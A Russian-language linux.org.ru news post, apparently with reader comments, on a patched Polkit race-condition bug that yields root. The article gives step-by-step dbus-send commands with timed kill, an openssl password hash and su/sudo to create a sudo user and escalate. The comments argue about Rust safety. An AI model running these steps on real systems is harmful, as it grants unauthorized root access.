LINUX.ORG.RU

Семилетний баг в Polkit, позволяющий получить права root

 , ,

Семилетний баг в Polkit, позволяющий получить права root

2

1

Участник GitHub Security Lab Kevin Backhouse обнаружил уязвимость в Polkit, которая впервые появилась семь лет назад в коммите bfa5036 и с версией 0.113 попала в некоторые дистрибутивы. Она позволяет непривилегированному локальному пользователю получить права root в системе, приложив для этого минимальные усилия. Уязвимости подвержены любые дистрибутивы с установленной версией Polkit 0.113 (или более поздней). Например, такие популярные, как RHEL 8 и Ubuntu 20.04. Уязвимость была устранена 3 июня 2021 года.

Как пишет Kevin Backhouse, уязвимость очень просто эксплуатируется, для этого достаточно простых инструментов: bash, kill, и dbus-send. Кроме них, для своей статьи (PoC exploit) он так же использовал accountsservice и gnome-control-center, которые можно найти на многих системах с GUI. Следует заметить, что accountsservice и gnome-control-center не содержат уязвимость и являются просто клиентами для Polkit.

Собственно уязвимость активируется с помощью команды dbus-send (т.е. простой отправки сообщения через шину D-Bus), которую нужно завершить во время, пока Polkit ещё обрабатывает запрос. Теоретически, можно нажать Ctrl + C на клавиатуре в нужный момент, однако Kevin Backhouse не смог продемонстрировать именно такой вариант.


Шаги* эксплуатации уязвимости из PoC exploit

Для начала нужно замерить время, которое требуется для нормального выполнения команды dbus-send:

time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:boris string:"Boris Ivanovich Grishenko" int32:1

Результат должен быть примерно таким:
Error org.freedesktop.Accounts.Error.PermissionDenied: Authentication is required

real 0m0.016s
user 0m0.005s
sys 0m0.000s

Вывод команды time показывает, что dbus-send была выполнена за 16 миллисекунд. Следовательно, для успешной эксплуатации команда dbus-send должна быть завершена примерно через 8 миллисекунд после запуска.
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:boris string:"Boris Ivanovich Grishenko" int32:1 & sleep 0.008s ; kill $!

Вероятно, что данный трюк удастся провернуть не с первого раза, поэтому может понадобится подобрать более подходящую задержку перед завершением dbus-send. Если время будет подобрано правильно и команда отработает успешно, то в системе появится новый пользователь boris входящий в группу sudo.
$ id boris
uid=1002(boris) gid=1002(boris) groups=1002(boris),27(sudo)

Далее необходимо задать пароль для пользователя boris. D-Bus интерфейс ожидает, что пароль будет передан в виде хеша, который легко получить с помощью openssl.
$ openssl passwd -5 iaminvincible!
$5$Fv2PqfurMmI879J7$ALSJ.w4KTP.mHrHxM2FYV3ueSipCf/QSfQUlATmWuuB

Теперь следует провернуть аналогичный описанному выше трюк с командой dbus-send, за исключением используемого метода. На сей раз требуется метод SetPassword.
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1002 org.freedesktop.Accounts.User.SetPassword string:'$5$Fv2PqfurMmI879J7$ALSJ.w4KTP.mHrHxM2FYV3ueSipCf/QSfQUlATmWuuB' string:GoldenEye & sleep 0.008s ; kill $!

Как и в прошлый раз, вероятно потребуется несколько попыток и подбор значения задержки. Так же следует обратить внимание на идентификатор пользователя, который может отличаться от 1002 в примере.

Наконец можно получить привилегии пользователя root в системе:
su - boris # password: iaminvincible!
sudo su # password: iaminvincible!

―――
* Шаги эксплуатации уязвимости приведены исключительно для ознакомления. Ни в коем случае не пытайтесь повторить их на системах принадлежащих не вам. Помните об ответственности!

P.S. Настоятельно рекомендуется выполнить обновление системы.

>>> Подробности

★★★★★

Проверено: xaizek ()
Последнее исправление: xaizek (всего исправлений: 10)
Ответ на: комментарий от anonymous

А ты бы хотел побывать во Владимире?

Владимир

anonymous
()
Ответ на: комментарий от hobbit

Лично мне — жаль.

Я знаю, милый …

Владимир

anonymous
()
Ответ на: комментарий от media_absent

Бла-бла-бла.

«Язык заявляет безопасность, которой по факту нет, даже «memory safety». На что уже многократно указывалось.»

Вот это громкое заявление ничем пока не подкреплено.

Ты даже пример привести не можешь. Но требуешь чего-то там тебе доказать.

WatchCat ★★★★★
()
Ответ на: комментарий от WatchCat

Всё как я и говорил - никакой безопасности в rust нет.

По поводу заявлений и примеров всё просто - отсутствие чего-либо доказать невозможно, поэтому доказываться должно именно существование безопасности в rust. Железо небезопасно, интерфейсы ОС небезопасны, мир в целом небезопасен. Поэтому мне ничего не нужно подкреплять. Пока ни вы, ни кто-либо другой не привели доказательства безопасности rust. Соответственно, её нет.

Но позиция забавная - говорим о решении каких-либо проблем, а на возражения и требования обоснования своей позиции начинаем демагогию вида «а вы докажите, что мы ничего не решили». Вот поэтому многие люди и пишут о вас как о дурачках, а вы вынуждены огрызаться в ответ на манер «а ты докажи, что я дурачок».

media_absent
()
Ответ на: комментарий от media_absent

Всё как я и говорил - никакой безопасности в rust нет.

Безотносительно раста, безопасность не бинарная штука, ее может быть и очень мало если взять си и вполне достаточно если взять яву. С++ и rust находятся по безопасности между этими точками, C++ ближе к си, rust ближе к ява.

anonymous
()

В пятый раз натыкаюсь на эту новость и каждый раз в восторге.

А сколько нам открытий чудных еще несет код написанный под крылом FDo….

wandrien ★★
()
Ответ на: комментарий от WatchCat

Правильно, не смог подтвердить свои слова - заигнорь(и скажи об этом напоследок во всеуслышание). Типично.

media_absent
()
Ответ на: комментарий от ixrws

внезапно да. но никто не запрещает тебе сделать сразу под все.

salozar
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.